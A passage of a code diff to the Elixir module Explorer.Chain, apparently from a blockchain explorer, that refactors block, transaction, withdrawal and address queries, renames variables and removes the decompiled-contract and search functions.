group_by: block.hash, - select: {block.hash, %Wei{value: coalesce(sum(transaction.gas_used * transaction.gas_price), 0)}} - ) + existing_data = + query + |> Repo.all() + |> Enum.into(%{}) - query - |> Repo.all() - |> Enum.into(%{}) + Map.merge(initial_gas_payments, existing_data) end def timestamp_by_block_hash(block_hashes) when is_list(block_hashes) do @@ -861,30 +427,66 @@ defmodule Explorer.Chain do `:key` (a tuple of the lowest/oldest `{index}`) and. Results will be the transactions older than the `index` that are passed. """ - @spec block_to_transactions(Hash.Full.t(), [paging_options | necessity_by_association_option]) :: [Transaction.t()] - def block_to_transactions(block_hash, options \\ []) when is_list(options) do + @spec block_to_transactions(Hash.Full.t(), [paging_options | necessity_by_association_option | api?()], true | false) :: + [ + Transaction.t() + ] + def block_to_transactions(block_hash, options \\ [], old_ui? \\ true) when is_list(options) do necessity_by_association = Keyword.get(options, :necessity_by_association, %{}) + type_filter = Keyword.get(options, :type) options |> Keyword.get(:paging_options, @default_paging_options) |> fetch_transactions_in_ascending_order_by_index() |> join(:inner, [transaction], block in assoc(transaction, :block)) |> where([_, block], block.hash == ^block_hash) + |> apply_filter_by_type_to_transactions(type_filter) |> join_associations(necessity_by_association) - |> preload([{:token_transfers, [:token, :from_address, :to_address]}]) - |> Repo.all() + |> Transaction.put_has_token_transfers_to_transaction(old_ui?) + |> (&if(old_ui?, do: preload(&1, [{:token_transfers, [:token, :from_address, :to_address]}]), else: &1)).() + |> select_repo(options).all() + end + + @spec execution_node_to_transactions(Hash.Address.t(), [paging_options | necessity_by_association_option | api?()]) :: + [Transaction.t()] + def execution_node_to_transactions(execution_node_hash, options \\ []) when is_list(options) do + necessity_by_association = Keyword.get(options, :necessity_by_association, %{}) + + options + |> Keyword.get(:paging_options, @default_paging_options) + |> fetch_transactions_in_descending_order_by_block_and_index() + |> where(execution_node_hash: ^execution_node_hash) + |> join_associations(necessity_by_association) + |> Transaction.put_has_token_transfers_to_transaction(false) + |> (& &1).() + |> select_repo(options).all() + end + + @spec block_to_withdrawals( + Hash.Full.t(), + [paging_options | necessity_by_association_option] + ) :: [Withdrawal.t()] + def block_to_withdrawals(block_hash, options \\ []) when is_list(options) do + paging_options = Keyword.get(options, :paging_options, @default_paging_options) + necessity_by_association = Keyword.get(options, :necessity_by_association, %{}) + + block_hash + |> Withdrawal.block_hash_to_withdrawals_query() + |> join_associations(necessity_by_association) + |> handle_withdrawals_paging_options(paging_options) + |> select_repo(options).all() end @doc """ - Finds sum of gas_used for new (EIP-1559) txs belongs to block + Finds sum of gas_used for new (EIP-1559) transactions belongs to block """ - @spec block_to_gas_used_by_1559_txs(Hash.Full.t()) :: non_neg_integer() - def block_to_gas_used_by_1559_txs(block_hash) do + @spec block_to_gas_used_by_1559_transactions(Hash.Full.t()) :: non_neg_integer() + def block_to_gas_used_by_1559_transactions(block_hash) do query = from( - tx in Transaction, - where: tx.block_hash == ^block_hash, - select: sum(tx.gas_used) + transaction in Transaction, + where: transaction.block_hash == ^block_hash, + select: sum(transaction.gas_used) ) result = Repo.one(query) @@ -892,18 +494,18 @@ defmodule Explorer.Chain do end @doc """ - Finds sum of priority fee for new (EIP-1559) txs belongs to block + Finds sum of priority fee for new (EIP-1559) transactions belongs to block """ - @spec block_to_priority_fee_of_1559_txs(Hash.Full.t()) :: Decimal.t() - def block_to_priority_fee_of_1559_txs(block_hash) do + @spec block_to_priority_fee_of_1559_transactions(Hash.Full.t()) :: Decimal.t() + def block_to_priority_fee_of_1559_transactions(block_hash) do block = Repo.get_by(Block, hash: block_hash) case block.base_fee_per_gas do %Wei{value: base_fee_per_gas} -> query = from( - tx in Transaction, - where: tx.block_hash == ^block_hash, + transaction in Transaction, + where: transaction.block_hash == ^block_hash, select: sum( fragment( @@ -911,20 +513,20 @@ defmodule Explorer.Chain do WHEN COALESCE(?,?) = 0 THEN 0 WHEN COALESCE(?,?) - ? < COALESCE(?,?) THEN (COALESCE(?,?) - ?) * ? ELSE COALESCE(?,?) * ? END", - tx.max_fee_per_gas, - tx.gas_price, - tx.max_fee_per_gas, - tx.gas_price, + transaction.max_fee_per_gas, + transaction.gas_price, + transaction.max_fee_per_gas, + transaction.gas_price, ^base_fee_per_gas, - tx.max_priority_fee_per_gas, - tx.gas_price, - tx.max_fee_per_gas, - tx.gas_price, + transaction.max_priority_fee_per_gas, + transaction.gas_price, + transaction.max_fee_per_gas, + transaction.gas_price, ^base_fee_per_gas, - tx.gas_used, - tx.max_priority_fee_per_gas, - tx.gas_price, - tx.gas_used + transaction.gas_used, + transaction.max_priority_fee_per_gas, + transaction.gas_price, + transaction.gas_used ) ) ) @@ -951,42 +553,13 @@ defmodule Explorer.Chain do Repo.aggregate(query, :count, :hash) end - @spec address_to_incoming_transaction_count(Hash.Address.t()) :: non_neg_integer() - def address_to_incoming_transaction_count(address_hash) do - to_address_query = - from( - transaction in Transaction, - where: transaction.to_address_hash == ^address_hash - ) - - Repo.aggregate(to_address_query, :count, :hash, timeout: :infinity) - end - - @spec address_to_incoming_transaction_gas_usage(Hash.Address.t()) :: Decimal.t() | nil - def address_to_incoming_transaction_gas_usage(address_hash) do - to_address_query = - from( - transaction in Transaction, - where: transaction.to_address_hash == ^address_hash - ) - - Repo.aggregate(to_address_query, :sum, :gas_used, timeout: :infinity) - end - - @spec address_to_outcoming_transaction_gas_usage(Hash.Address.t()) :: Decimal.t() | nil - def address_to_outcoming_transaction_gas_usage(address_hash) do - to_address_query = - from( - transaction in Transaction, - where: transaction.from_address_hash == ^address_hash - ) - - Repo.aggregate(to_address_query, :sum, :gas_used, timeout: :infinity) + @spec check_if_withdrawals_in_block(Hash.Full.t()) :: boolean() + def check_if_withdrawals_in_block(block_hash, options \\ []) do + block_hash + |> Withdrawal.block_hash_to_withdrawals_unordered_query() + |> select_repo(options).exists?() end - @spec max_incoming_transactions_count() :: non_neg_integer() - def max_incoming_transactions_count, do: @max_incoming_transactions_count - @doc """ How many blocks have confirmed `block` based on the current `max_block_number` @@ -1020,8 +593,8 @@ defmodule Explorer.Chain do iex> Explorer.Chain.confirmations(block, block_height: 0) {:ok, 1} """ - @spec confirmations(Block.t(), [{:block_height, block_height()}]) :: - {:ok, non_neg_integer()} | {:error, :non_consensus} + @spec confirmations(Block.t() | nil, [{:block_height, block_height()}]) :: + {:ok, non_neg_integer()} | {:error, :non_consensus | :pending} def confirmations(%Block{consensus: true, number: number}, named_arguments) when is_list(named_arguments) do max_consensus_block_number = Keyword.fetch!(named_arguments, :block_height) @@ -1031,59 +604,20 @@ defmodule Explorer.Chain do def confirmations(%Block{consensus: false}, _), do: {:error, :non_consensus} - @doc """ - Creates an address. - - iex> {:ok, %Explorer.Chain.Address{hash: hash}} = Explorer.Chain.create_address( - ...> %{hash: "0xa94f5374fce5edbc8e2a8697c15331677e6ebf0b"} - ...> ) - ...> to_string(hash) - "0xa94f5374fce5edbc8e2a8697c15331677e6ebf0b" - - A `String.t/0` value for `Explorer.Chain.Address.t/0` `hash` must have 40 hexadecimal characters after the `0x` prefix - to prevent short- and long-hash transcription errors. - - iex> {:error, %Ecto.Changeset{errors: errors}} = Explorer.Chain.create_address( - ...> %{hash: "0xa94f5374fce5edbc8e2a8697c15331677e6ebf0"} - ...> ) - ...> errors - [hash: {"is invalid", [type: Explorer.Chain.Hash.Address, validation: :cast]}] - iex> {:error, %Ecto.Changeset{errors: errors}} = Explorer.Chain.create_address( - ...> %{hash: "0xa94f5374fce5edbc8e2a8697c15331677e6ebf0ba"} - ...> ) - ...> errors - [hash: {"is invalid", [type: Explorer.Chain.Hash.Address, validation: :cast]}] - - """ - @spec create_address(map()) :: {:ok, Address.t()} | {:error, Ecto.Changeset.t()} - def create_address(attrs \\ %{}) do - %Address{} - |> Address.changeset(attrs) - |> Repo.insert() - end - - @doc """ - Creates a decompiled smart contract. - """ + def confirmations(nil, _), do: {:error, :pending} - @spec create_decompiled_smart_contract(map()) :: {:ok, Address.t()} | {:error, Ecto.Changeset.t()} - def create_decompiled_smart_contract(attrs) do - changeset = DecompiledSmartContract.changeset(%DecompiledSmartContract{}, attrs) + @spec verified_contracts_top(non_neg_integer()) :: [Hash.Address.t()] + def verified_contracts_top(limit) do + query = + from(contract in SmartContract, + inner_join: address in Address, + on: contract.address_hash == address.hash, + order_by: [desc: address.fetched_coin_balance], + limit: ^limit, + select: contract.address_hash + ) - # Enforce ShareLocks tables order (see docs: sharelocks.md) - Multi.new() - |> Multi.run(:set_address_decompiled, fn repo, _ -> - set_address_decompiled(repo, Changeset.get_field(changeset, :address_hash)) - end) - |> Multi.insert(:decompiled_smart_contract, changeset, - on_conflict: :replace_all, - conflict_target: [:decompiler_version, :address_hash] - ) - |> Repo.transaction() - |> case do - {:ok, %{decompiled_smart_contract: decompiled_smart_contract}} -> {:ok, decompiled_smart_contract} - {:error, _, error_value, _} -> {:error, error_value} - end + Repo.all(query) end @doc """ @@ -1111,85 +645,86 @@ defmodule Explorer.Chain do end @doc """ - The fee a `transaction` paid for the `t:Explorer.Transaction.t/0` `gas` - - If the transaction is pending, then the fee will be a range of `unit` - - iex> Explorer.Chain.fee( - ...> %Explorer.Chain.Transaction{ - ...> gas: Decimal.new(3), - ...> gas_price: %Explorer.Chain.Wei{value: Decimal.new(2)}, - ...> gas_used: nil - ...> }, - ...> :wei - ...> ) - {:maximum, Decimal.new(6)} - - If the transaction has been confirmed in block, then the fee will be the actual fee paid in `unit` for the `gas_used` - in the `transaction`. - - iex> Explorer.Chain.fee( - ...> %Explorer.Chain.Transaction{ - ...> gas: Decimal.new(3), - ...> gas_price: %Explorer.Chain.Wei{value: Decimal.new(2)}, - ...> gas_used: Decimal.new(2) - ...> }, - ...> :wei - ...> ) - {:actual, Decimal.new(4)} - + Checks to see if the chain is down indexing based on the transaction from the + oldest block and the pending operation """ - @spec fee(Transaction.t(), :ether | :gwei | :wei) :: {:maximum, Decimal.t()} | {:actual, Decimal.t()} - def fee(%Transaction{gas: gas, gas_price: gas_price, gas_used: nil}, unit) do - fee = - gas_price - |> Wei.to(unit) - |> Decimal.mult(gas) + @spec finished_indexing_internal_transactions?([api?]) :: boolean() + def finished_indexing_internal_transactions?(options \\ []) do + if indexer_running?() and internal_transactions_fetcher_running?() do + json_rpc_named_arguments = Application.fetch_env!(:indexer, :json_rpc_named_arguments) + variant = Keyword.fetch!(json_rpc_named_arguments, :variant) - {:maximum, fee} + if variant == EthereumJSONRPC.Anvil do + true + else + check_left_blocks_to_index_internal_transactions(options) + end + else + true + end end - def fee(%Transaction{gas_price: gas_price, gas_used: gas_used}, unit) do - fee = - gas_price - |> Wei.to(unit) - |> Decimal.mult(gas_used) + defp check_left_blocks_to_index_internal_transactions(options) do + with {:transactions_exist, true} <- {:transactions_exist, select_repo(options).exists?(Transaction)}, + min_block_number when not is_nil(min_block_number) <- + select_repo(options).aggregate(Transaction, :min, :block_number) do + min_block_number = + min_block_number + |> Decimal.max(Application.get_env(:indexer, :trace_first_block)) + |> Decimal.to_integer() + + query = + from( + block in Block, + join: pending_ops in assoc(block, :pending_operations), + where: block.consensus and block.number == ^min_block_number + ) - {:actual, fee} + if select_repo(options).exists?(query) do + false + else + check_indexing_internal_transactions_threshold() + end + else + {:transactions_exist, false} -> true + nil -> false + end end - @doc """ - Checks to see if the chain is down indexing based on the transaction from the - oldest block and the `fetch_internal_transactions` pending operation - """ - @spec finished_indexing?() :: boolean() - def finished_indexing? do - json_rpc_named_arguments = Application.fetch_env!(:indexer, :json_rpc_named_arguments) - variant = Keyword.fetch!(json_rpc_named_arguments, :variant) + defp check_indexing_internal_transactions_threshold do + min_blockchain_trace_block_number = + RangesHelper.get_min_block_number_from_range_string(Application.get_env(:indexer, :trace_block_ranges)) - if variant == EthereumJSONRPC.Ganache || variant == EthereumJSONRPC.Arbitrum do + %{max: max_saved_block_number} = BlockNumber.get_all() + pending_ops_entity = PendingOperationsHelper.actual_entity() + pbo_count = pending_ops_entity.blocks_count_in_range(min_blockchain_trace_block_number, max_saved_block_number) + + if pbo_count < + Application.get_env(:indexer, Indexer.Fetcher.InternalTransaction)[:indexing_finished_threshold] do true else - with {:transactions_exist, true} <- {:transactions_exist, Repo.exists?(Transaction)}, - min_block_number when not is_nil(min_block_number) <- Repo.aggregate(Transaction, :min, :block_number) do - min_block_number = - min_block_number - |> Decimal.max(EthereumJSONRPC.first_block_to_fetch(:trace_first_block)) - |> Decimal.to_integer() + false + end + end - query = - from( - b in Block, - join: pending_ops in assoc(b, :pending_operations), - where: pending_ops.fetch_internal_transactions, - where: b.consensus and b.number == ^min_block_number - ) + def finished_indexing_from_ratio?(ratio) do + Decimal.compare(ratio, 1) !== :lt + end - !Repo.exists?(query) - else - {:transactions_exist, false} -> true - nil -> false + @doc """ + Checks if indexing of blocks and internal transactions finished aka full indexing + """ + @spec finished_indexing?([api?]) :: boolean() + def finished_indexing?(options \\ []) do + if indexer_running?() do + indexed_ratio = indexed_ratio_blocks() + + case finished_indexing_from_ratio?(indexed_ratio) do + false -> false + _ -> finished_indexing_internal_transactions?(options) end + else + true end end @@ -1205,7 +740,7 @@ defmodule Explorer.Chain do Returns `{:ok, %Explorer.Chain.Address{}}` if found - iex> {:ok, %Explorer.Chain.Address{hash: hash}} = Explorer.Chain.create_address( + iex> {:ok, %Explorer.Chain.Address{hash: hash}} = Explorer.Chain.Address.create( ...> %{hash: "0x5aaeb6053f3e94c9b9a09f33669435e7ef1beaed"} ...> ) iex> {:ok, %Explorer.Chain.Address{hash: found_hash}} = Explorer.Chain.hash_to_address(hash) @@ -1224,653 +759,163 @@ defmodule Explorer.Chain do `:required`, and the `t:Explorer.Chain.Address.t/0` has no associated record for that association, then the `t:Explorer.Chain.Address.t/0` will not be included in the list. - Optionally it also accepts a boolean to fetch the `has_decompiled_code?` virtual field or not - """ - @spec hash_to_address(Hash.Address.t(), [necessity_by_association_option], boolean()) :: + @spec hash_to_address(Hash.Address.t() | binary(), [necessity_by_association_option | api?]) :: {:ok, Address.t()} | {:error, :not_found} def hash_to_address( - %Hash{byte_count: unquote(Hash.Address.byte_count())} = hash, + hash, options \\ [ necessity_by_association: %{ - :contracts_creation_internal_transaction => :optional, :names => :optional, :smart_contract => :optional, :token => :optional, - :contracts_creation_transaction => :optional + Address.contract_creation_transaction_associations() => :optional } - ], - query_decompiled_code_flag \\ true + ] ) do necessity_by_association = Keyword.get(options, :necessity_by_association, %{}) - query = - from( - address in Address, - where: address.hash == ^hash - ) - - address_result = - query - |> join_associations(necessity_by_association) - |> with_decompiled_code_flag(hash, query_decompiled_code_flag) - |> Repo.one() - - address_updated_result = - case address_result do - %{smart_contract: smart_contract} -> - if smart_contract do - address_result - else - address_verified_twin_contract = - Chain.get_minimal_proxy_template(hash) || - Chain.get_address_verified_twin_contract(hash).verified_contract - - if address_verified_twin_contract do - address_verified_twin_contract_updated = - address_verified_twin_contract - |> Map.put(:address_hash, hash) - |> Map.put_new(:metadata_from_verified_twin, true) - - address_result - |> Map.put(:smart_contract, address_verified_twin_contract_updated) - else - address_result - end - end - - _ -> - address_result - end - - address_updated_result - |> case do - nil -> {:error, :not_found} - address -> {:ok, address} - end - end - - def decompiled_code(address_hash, version) do - query = - from(contract in DecompiledSmartContract, - where: contract.address_hash == ^address_hash and contract.decompiler_version == ^version - ) + query = Address.address_query(hash) query - |> Repo.one() + |> join_associations(necessity_by_association) + |> select_repo(options).one() + |> SmartContract.compose_address_for_unverified_smart_contract(hash, options) |> case do nil -> {:error, :not_found} - contract -> {:ok, contract.decompiled_source_code} + address -> {:ok, address} end end - @spec token_contract_address_from_token_name(String.t()) :: {:ok, Hash.Address.t()} | {:error, :not_found} - def token_contract_address_from_token_name(name) when is_binary(name) do - query = - from(token in Token, - where: ilike(token.symbol, ^name), - or_where: ilike(token.name, ^name), - select: token.contract_address_hash - ) - - query - |> Repo.all() - |> case do - [] -> - {:error, :not_found} - - hashes -> - if Enum.count(hashes) == 1 do - {:ok, List.first(hashes)} - else - {:error, :not_found} - end - end - end + @doc """ + Converts `t:Explorer.Chain.Address.t/0` `hash` to the `t:Explorer.Chain.Address.t/0` with that `hash`. - defp prepare_search_term(string) do - case Regex.scan(~r/[a-zA-Z0-9]+/, string) do - [_ | _] = words -> - term_final = - words - |> Enum.map_join(" & ", fn [word] -> word <> ":*" end) + Returns `{:ok, %Explorer.Chain.Address{}}` if found - {:some, term_final} + iex> {:ok, %Explorer.Chain.Address{hash: hash}} = Explorer.Chain.Address.create( + ...> %{hash: "0x5aaeb6053f3e94c9b9a09f33669435e7ef1beaed"} + ...> ) + iex> {:ok, %Explorer.Chain.Address{hash: found_hash}} = Explorer.Chain.hash_to_address(hash) + iex> found_hash == hash + true - _ -> - :none - end - end + Returns `{:error, address}` if not found but created an address - defp search_token_query(term) do - from(token in Token, - where: fragment("to_tsvector(symbol || ' ' || name ) @@ to_tsquery(?)", ^term), - select: %{ - address_hash: token.contract_address_hash, - tx_hash: fragment("CAST(NULL AS bytea)"), - block_hash: fragment("CAST(NULL AS bytea)"), - type: "token", - name: token.name, - symbol: token.symbol, - holder_count: token.holder_count, - inserted_at: token.inserted_at, - block_number: 0 - } - ) - end + iex> {:ok, %Explorer.Chain.Address{hash: hash}} = Explorer.Chain.Address.create( + ...> %{hash: "0x5aaeb6053f3e94c9b9a09f33669435e7ef1beaed"} + ...> ) + iex> {:ok, %Explorer.Chain.Address{hash: found_hash}} = Explorer.Chain.hash_to_address(hash) + iex> found_hash == hash + true - defp search_contract_query(term) do - from(smart_contract in SmartContract, - left_join: address in Address, - on: smart_contract.address_hash == address.hash, - where: fragment("to_tsvector(name ) @@ to_tsquery(?)", ^term), - select: %{ - address_hash: smart_contract.address_hash, - tx_hash: fragment("CAST(NULL AS bytea)"), - block_hash: fragment("CAST(NULL AS bytea)"), - type: "contract", - name: smart_contract.name, - symbol: ^nil, - holder_count: ^nil, - inserted_at: address.inserted_at, - block_number: 0 - } - ) - end - defp search_address_query(term) do - case Chain.string_to_address_hash(term) do - {:ok, address_hash} -> - from(address in Address, - left_join: address_name in Address.Name, - on: address.hash == address_name.address_hash, - where: address.hash == ^address_hash, - select: %{ - address_hash: address.hash, - tx_hash: fragment("CAST(NULL AS bytea)"), - block_hash: fragment("CAST(NULL AS bytea)"), - type: "address", - name: address_name.name, - symbol: ^nil, - holder_count: ^nil, - inserted_at: address.inserted_at, - block_number: 0 - } - ) + ## Options - _ -> - nil - end - end + * `:necessity_by_association` - use to load `t:association/0` as `:required` or `:optional`. If an association is + `:required`, and the `t:Explorer.Chain.Address.t/0` has no associated record for that association, + then the `t:Explorer.Chain.Address.t/0` will not be included in the list. - defp search_tx_query(term) do - case Chain.string_to_transaction_hash(term) do - {:ok, tx_hash} -> - from(transaction in Transaction, - where: transaction.hash == ^tx_hash, - select: %{ - address_hash: fragment("CAST(NULL AS bytea)"), - tx_hash: transaction.hash, - block_hash: fragment("CAST(NULL AS bytea)"), - type: "transaction", - name: ^nil, - symbol: ^nil, - holder_count: ^nil, - inserted_at: transaction.inserted_at, - block_number: 0 + """ + @spec find_or_insert_address_from_hash(Hash.Address.t(), [necessity_by_association_option]) :: + {:ok, Address.t()} + def find_or_insert_address_from_hash( + %Hash{byte_count: unquote(Hash.Address.byte_count())} = hash, + options \\ [ + necessity_by_association: %{ + :names => :optional, + :smart_contract => :optional, + :token => :optional, + Address.contract_creation_transaction_associations() => :optional } - ) + ] + ) do + case hash_to_address(hash, options) do + {:ok, address} -> + {:ok, address} - _ -> - nil + {:error, :not_found} -> + Address.create(%{hash: to_string(hash)}) + hash_to_address(hash, options) end end - defp search_block_query(term) do - case Chain.string_to_block_hash(term) do - {:ok, block_hash} -> - from(block in Block, - where: block.hash == ^block_hash, - select: %{ - address_hash: fragment("CAST(NULL AS bytea)"), - tx_hash: fragment("CAST(NULL AS bytea)"), - block_hash: block.hash, - type: "block", - name: ^nil, - symbol: ^nil, - holder_count: ^nil, - inserted_at: block.inserted_at, - block_number: block.number - } - ) - - _ -> - case Integer.parse(term) do - {block_number, _} -> - from(block in Block, - where: block.number == ^block_number, - select: %{ - address_hash: fragment("CAST(NULL AS bytea)"), - tx_hash: fragment("CAST(NULL AS bytea)"), - block_hash: block.hash, - type: "block", - name: ^nil, - symbol: ^nil, - holder_count: ^nil, - inserted_at: block.inserted_at, - block_number: block.number - } - ) + @doc """ + Converts list of `t:Explorer.Chain.Address.t/0` `hash` to the `t:Explorer.Chain.Address.t/0` with that `hash`. - _ -> - nil - end - end - end + Returns `[%Explorer.Chain.Address{}]` if found - def joint_search(paging_options, offset, string) do - case prepare_search_term(string) do - {:some, term} -> - tokens_query = search_token_query(term) - contracts_query = search_contract_query(term) - tx_query = search_tx_query(string) - address_query = search_address_query(string) - block_query = search_block_query(string) + """ + @spec hashes_to_addresses([Hash.Address.t()], [necessity_by_association_option | api?]) :: [Address.t()] + def hashes_to_addresses(hashes, options \\ []) - basic_query = - from( - tokens in subquery(tokens_query), - union: ^contracts_query - ) + def hashes_to_addresses([], _), do: [] - query = - cond do - address_query -> - basic_query - |> union(^address_query) - - tx_query -> - basic_query - |> union(^tx_query) - |> union(^block_query) - - block_query -> - basic_query - |> union(^block_query) - - true -> - basic_query - end + def hashes_to_addresses(hashes, options) when is_list(hashes) do + necessity_by_association = Keyword.get(options, :necessity_by_association, %{}) - ordered_query = - from(items in subquery(query), - order_by: [desc_nulls_last: items.holder_count, asc: items.name, desc: items.inserted_at], - limit: ^paging_options.page_size, - offset: ^offset - ) + hashes + |> hashes_to_addresses_query() + |> join_associations(necessity_by_association) + |> select_repo(options).all() + end - paginated_ordered_query = - ordered_query - |> page_search_results(paging_options) + @doc """ + Generates a query to convert a list of hashes to their corresponding addresses. - search_results = Repo.all(paginated_ordered_query) + ## Parameters - search_results - |> Enum.map(fn result -> - result_checksummed_address_hash = - if result.address_hash do - result - |> Map.put(:address_hash, Address.checksum(result.address_hash)) - else - result - end + - hashes: A list of hashes to be converted. - result_checksummed_address_hash - end) + ## Returns - _ -> - [] - end + - A query that can be executed to retrieve the addresses corresponding to the provided hashes. + """ + @spec hashes_to_addresses_query([Hash.Address.t()]) :: Ecto.Query.t() + def hashes_to_addresses_query(hashes) do + from( + address in Address, + as: :address, + where: address.hash in ^hashes, + # https://stackoverflow.com/a/29598910/470451 + order_by: fragment("array_position(?, ?)", type(^hashes, {:array, Hash.Address}), address.hash) + ) end - @spec search_token(String.t()) :: [Token.t()] - def search_token(string) do - case prepare_search_term(string) do - {:some, term} -> - query = - from(token in Token, - where: fragment("to_tsvector(symbol || ' ' || name ) @@ to_tsquery(?)", ^term), - select: %{ - link: token.contract_address_hash, - symbol: token.symbol, - name: token.name, - holder_count: token.holder_count, - type: "token" - }, - order_by: [desc: token.holder_count] - ) + @doc """ + Finds an `t:Explorer.Chain.Address.t/0` that has the provided `t:Explorer.Chain.Address.t/0` `hash` and a contract. - Repo.all(query) - - _ -> - [] - end - end - - @spec search_contract(String.t()) :: [SmartContract.t()] - def search_contract(string) do - case prepare_search_term(string) do - {:some, term} -> - query = - from(smart_contract in SmartContract, - left_join: address in Address, - on: smart_contract.address_hash == address.hash, - where: fragment("to_tsvector(name ) @@ to_tsquery(?)", ^term), - select: %{ - link: smart_contract.address_hash, - name: smart_contract.name, - inserted_at: address.inserted_at, - type: "contract" - }, - order_by: [desc: smart_contract.inserted_at] - ) - - Repo.all(query) - - _ -> - [] - end - end - - def search_tx(term) do - case Chain.string_to_transaction_hash(term) do - {:ok, tx_hash} -> - query = - from(transaction in Transaction, - where: transaction.hash == ^tx_hash, - select: %{ - link: transaction.hash, - type: "transaction" - } - ) - - Repo.all(query) - - _ -> - [] - end - end - - def search_address(term) do - case Chain.string_to_address_hash(term) do - {:ok, address_hash} -> - query = - from(address in Address, - left_join: address_name in Address.Name, - on: address.hash == address_name.address_hash, - where: address.hash == ^address_hash, - select: %{ - name: address_name.name, - link: address.hash, - type: "address" - } - ) - - Repo.all(query) - - _ -> - [] - end - end - - def search_block(term) do - case Chain.string_to_block_hash(term) do - {:ok, block_hash} -> - query = - from(block in Block, - where: block.hash == ^block_hash, - select: %{ - link: block.hash, - block_number: block.number, - type: "block" - } - ) - - Repo.all(query) - - _ -> - case Integer.parse(term) do - {block_number, _} -> - query = - from(block in Block, - where: block.number == ^block_number, - select: %{ - link: block.hash, - block_number: block.number, - type: "block" - } - ) - - Repo.all(query) - - _ -> - [] - end - end - end - - @doc """ - Converts `t:Explorer.Chain.Address.t/0` `hash` to the `t:Explorer.Chain.Address.t/0` with that `hash`. - - Returns `{:ok, %Explorer.Chain.Address{}}` if found - - iex> {:ok, %Explorer.Chain.Address{hash: hash}} = Explorer.Chain.create_address( - ...> %{hash: "0x5aaeb6053f3e94c9b9a09f33669435e7ef1beaed"} - ...> ) - iex> {:ok, %Explorer.Chain.Address{hash: found_hash}} = Explorer.Chain.hash_to_address(hash) - iex> found_hash == hash - true - - Returns `{:error, address}` if not found but created an address - - iex> {:ok, %Explorer.Chain.Address{hash: hash}} = Explorer.Chain.create_address( - ...> %{hash: "0x5aaeb6053f3e94c9b9a09f33669435e7ef1beaed"} - ...> ) - iex> {:ok, %Explorer.Chain.Address{hash: found_hash}} = Explorer.Chain.hash_to_address(hash) - iex> found_hash == hash - true - - - ## Options - - * `:necessity_by_association` - use to load `t:association/0` as `:required` or `:optional`. If an association is - `:required`, and the `t:Explorer.Chain.Address.t/0` has no associated record for that association, - then the `t:Explorer.Chain.Address.t/0` will not be included in the list. - - Optionally it also accepts a boolean to fetch the `has_decompiled_code?` virtual field or not - - """ - @spec find_or_insert_address_from_hash(Hash.Address.t(), [necessity_by_association_option], boolean()) :: - {:ok, Address.t()} - def find_or_insert_address_from_hash( - %Hash{byte_count: unquote(Hash.Address.byte_count())} = hash, - options \\ [ - necessity_by_association: %{ - :contracts_creation_internal_transaction => :optional, - :names => :optional, - :smart_contract => :optional, - :token => :optional, - :contracts_creation_transaction => :optional - } - ], - query_decompiled_code_flag \\ true - ) do - case hash_to_address(hash, options, query_decompiled_code_flag) do - {:ok, address} -> - {:ok, address} - - {:error, :not_found} -> - create_address(%{hash: to_string(hash)}) - hash_to_address(hash, options, query_decompiled_code_flag) - end - end - - @doc """ - Converts list of `t:Explorer.Chain.Address.t/0` `hash` to the `t:Explorer.Chain.Address.t/0` with that `hash`. - - Returns `[%Explorer.Chain.Address{}]}` if found - - """ - @spec hashes_to_addresses([Hash.Address.t()]) :: [Address.t()] - def hashes_to_addresses(hashes) when is_list(hashes) do - query = - from( - address in Address, - where: address.hash in ^hashes, - # https://stackoverflow.com/a/29598910/470451 - order_by: fragment("array_position(?, ?)", type(^hashes, {:array, Hash.Address}), address.hash) - ) - - Repo.all(query) - end - - @doc """ - Finds an `t:Explorer.Chain.Address.t/0` that has the provided `t:Explorer.Chain.Address.t/0` `hash` and a contract. - - ## Options + ## Options * `:necessity_by_association` - use to load `t:association/0` as `:required` or `:optional`. If an association is `:required`, and the `t:Explorer.Chain.Address.t/0` has no associated record for that association, then the `t:Explorer.Chain.Address.t/0` will not be included in the list. - Optionally it also accepts a boolean to fetch the `has_decompiled_code?` virtual field or not - """ - @spec find_contract_address(Hash.Address.t(), [necessity_by_association_option], boolean()) :: + @spec find_contract_address(Hash.Address.t(), [necessity_by_association_option]) :: {:ok, Address.t()} | {:error, :not_found} def find_contract_address( %Hash{byte_count: unquote(Hash.Address.byte_count())} = hash, - options \\ [], - query_decompiled_code_flag \\ false + options \\ [] ) do necessity_by_association = options |> Keyword.get(:necessity_by_association, %{}) |> Map.merge(%{ - smart_contract_additional_sources: :optional + [smart_contract: :smart_contract_additional_sources] => :optional, + Implementation.proxy_implementations_association() => :optional }) - query = - from( - address in Address, - where: address.hash == ^hash and not is_nil(address.contract_code) - ) - - address_result = - query - |> join_associations(necessity_by_association) - |> with_decompiled_code_flag(hash, query_decompiled_code_flag) - |> Repo.one() - - address_updated_result = - case address_result do - %{smart_contract: smart_contract} -> - if smart_contract do - check_bytecode_matching(address_result) - else - address_verified_twin_contract = - Chain.get_minimal_proxy_template(hash) || - Chain.get_address_verified_twin_contract(hash).verified_contract - - if address_verified_twin_contract do - address_verified_twin_contract_updated = - address_verified_twin_contract - |> Map.put(:address_hash, hash) - |> Map.put_new(:metadata_from_verified_twin, true) - - address_result - |> Map.put(:smart_contract, address_verified_twin_contract_updated) - else - address_result - end - end - - _ -> - address_result - end - - address_updated_result + hash + |> Address.address_with_bytecode_query() + |> join_associations(necessity_by_association) + |> select_repo(options).one() + |> Address.update_address_result(options, false) |> case do nil -> {:error, :not_found} address -> {:ok, address} end end - defp check_bytecode_matching(address) do - now = DateTime.utc_now() - json_rpc_named_arguments = Application.get_env(:explorer, :json_rpc_named_arguments) - - if !address.smart_contract.is_changed_bytecode and - address.smart_contract.bytecode_checked_at - |> DateTime.add(@check_bytecode_interval, :second) - |> DateTime.compare(now) != :gt do - case EthereumJSONRPC.fetch_codes( - [%{block_quantity: "latest", address: address.smart_contract.address_hash}], - json_rpc_named_arguments - ) do - {:ok, %EthereumJSONRPC.FetchedCodes{params_list: fetched_codes}} -> - bytecode_from_node = fetched_codes |> List.first() |> Map.get(:code) - bytecode_from_db = "0x" <> (address.contract_code.bytes |> Base.encode16(case: :lower)) - - if bytecode_from_node == bytecode_from_db do - {:ok, smart_contract} = - address.smart_contract - |> Changeset.change(%{bytecode_checked_at: now}) - |> Repo.update() - - %{address | smart_contract: smart_contract} - else - {:ok, smart_contract} = - address.smart_contract - |> Changeset.change(%{bytecode_checked_at: now, is_changed_bytecode: true}) - |> Repo.update() - - %{address | smart_contract: smart_contract} - end - - _ -> - address - end - else - address - end - end - - @spec find_decompiled_contract_address(Hash.Address.t()) :: {:ok, Address.t()} | {:error, :not_found} - def 